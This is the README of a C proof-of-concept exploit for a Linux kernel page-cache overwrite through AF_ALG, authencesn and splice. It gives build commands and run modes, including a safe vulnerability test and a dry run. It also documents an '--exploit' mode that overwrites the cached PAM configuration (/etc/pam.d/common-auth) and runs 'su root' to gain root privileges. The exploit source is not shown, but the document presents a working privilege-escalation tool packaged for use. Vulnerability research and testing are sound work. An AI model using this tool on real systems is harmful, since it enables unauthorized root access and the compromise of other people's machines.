authencesn-poc (Mrowl)

made by c0redev (https://unitdev.run)

C PoC for AF_ALG + authencesn + splice page-cache overwrite.

Build:

make
make static

Run test:

./authencesn-poc --safe

Run algorithm matrix:

./authencesn-poc --matrix

Show PAM exploit offsets without triggering:

./authencesn-poc --exploit --dry-run

Trigger PAM page-cache overwrite and run su root:

./authencesn-poc --exploit

Scan duplicate 4-byte sequences in a target file:

./authencesn-poc --check /etc/pam.d/common-auth

Expected vulnerable safe output:

[+] VULNERABLE: page-cache overwrite confirmed